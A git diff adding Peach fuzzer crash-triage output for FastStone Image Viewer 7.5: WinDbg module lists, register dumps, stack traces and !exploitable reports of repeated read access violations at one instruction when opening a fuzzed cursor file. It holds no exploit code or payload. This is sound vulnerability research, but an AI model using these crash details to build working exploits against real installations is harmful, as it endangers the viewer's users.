+ModLoad: 00000000`761a0000 00000000`76273000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`76a30000 00000000`76a8c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75330000 00000000`7536b000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`755e0000 00000000`7565e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c3000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741fd000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d25000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73959000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f8000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(b58.143c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0007ed2d ecx=07f555b0 edx=00003879 esi=ffcb0010 edi=09388fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0023:00604b66 fpdp=002b:07f55870 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.763565049914082400000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=1.02857e-038 1.0653e-038 9.82655e-039 9.64286e-039 +xmm7=1.5134e-043 9.91837e-039 4.22458e-039 1.05612e-038 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08038130 07fb5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 751df989 0035f000 751df970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 771374b4 0035f000 713e9d4b 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 77137484 ffffffff 77157363 00000000 ntdll_770d0000!__RtlUserThreadStart+0x2f +0019ffec 00000000 00963a10 0035f000 00000000 ntdll_770d0000!_RtlUserThreadStart+0x1b + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x306e2077 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_770d0000!__RtlUserThreadStart+0x2f +STACK_FRAME:ntdll_770d0000!_RtlUserThreadStart+0x1b +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x306e2077) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x306e2077/92196/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x306e2077/92196/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..38c685e Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x306e2077/92196/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x7e49371f/13605/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x7e49371f/13605/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..63ad63b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x7e49371f/13605/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x0000000014f60002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x7e49371f/13605/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x7e49371f/13605/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..063a009 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x7e49371f/13605/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x7e49371f/13605/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x7e49371f/13605/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..1474545 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x7e49371f/13605/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,195 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xEF4: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xEF4: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +ModLoad: 00000000`73730000 00000000`737e9000 C:\Windows\SysWOW64\textinputframework.dll +ModLoad: 00000000`73410000 00000000`734ab000 C:\Windows\SysWOW64\CoreMessaging.dll +ModLoad: 00000000`734b0000 00000000`7372e000 C:\Windows\SysWOW64\CoreUIComponents.dll +ModLoad: 00000000`75430000 00000000`75493000 C:\Windows\SysWOW64\WS2_32.dll +ModLoad: 00000000`733e0000 00000000`73409000 C:\Windows\SysWOW64\ntmarta.dll +ModLoad: 00000000`73300000 00000000`733de000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`73190000 00000000`732f6000 C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.19041.264_none_4298d4188a939fa9\gdiplus.dll +(ef4.14cc): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=14f50002 ebx=00000e0b ecx=07f28180 edx=000005df esi=12833820 edi=0daa0fd4 +eip=005bdfc9 esp=14f4f81c ebp=14f4fcc4 iopl=0 nv up ei pl nz na po nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f50002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=0020: top=0 cc=0000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0= 0.000000000000000000000e+0000 st1= 0.000000000000000000000e+0000 +st2= 0.000000000000000000000e+0000 st3= 0.000000000000000000000e+0000 +st4= 8.494396998968347920000e+0017 st5= 8.494398716955266560000e+0017 +st6= 2.539999999999999999970e+0000 st7= 3.438299200000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f50002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=0 0 0 0 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f50002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +14f4fcc4 0060d6fc 00000000 14f4fd2c 14f4fcfc image00000000_00400000+0x1bdfc9 +14f4fd3c 005ff50b 14f4fd50 005ff787 14f4fdc0 image00000000_00400000+0x20d6fc +14f4fdc0 005ff1de 14f4fde8 005ff1f9 14f4fde0 image00000000_00400000+0x1ff50b +14f4fde0 0090e1e5 14f4fdf4 0090e1ef 14f4fe38 image00000000_00400000+0x1ff1de +14f4fe38 0090efea 14f4fea4 14f4fea8 14f4feac image00000000_00400000+0x50e1e5 +14f4fec0 008d05d5 14f4fed4 008d06ab 14f4ff00 image00000000_00400000+0x50efea +14f4ff00 008d0991 14f4ff14 008d0a43 14f4ff2c image00000000_00400000+0x4d05d5 +14f4ff2c 0042c0bf 14f4ff40 0042c0c9 14f4ff5c image00000000_00400000+0x4d0991 +14f4ff5c 00404c22 14f4ffcc 0040475c 14f4ff70 image00000000_00400000+0x2c0bf +14f4ff70 7572f989 0802bec0 7572f970 14f4ffdc image00000000_00400000+0x4c22 +14f4ff80 770b7084 0802bec0 bd94aef0 00000000 KERNEL32!BaseThreadInitThunk+0x19 +14f4ffdc 770b7054 ffffffff 770d629f 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +14f4ffec 00000000 00404bf8 0802bec0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x14f50002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x7e49371f +STACK_DEPTH:13 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x50e1e5 +STACK_FRAME:image00000000_00400000+0x50efea +STACK_FRAME:image00000000_00400000+0x4d05d5 +STACK_FRAME:image00000000_00400000+0x4d0991 +STACK_FRAME:image00000000_00400000+0x2c0bf +STACK_FRAME:image00000000_00400000+0x4c22 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x7e49371f) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x7e49371f/13605/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x7e49371f/13605/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..1474545 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x7e49371f/13605/WindowsDebugEngine_description.txt @@ -0,0 +1,195 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xEF4: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xEF4: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 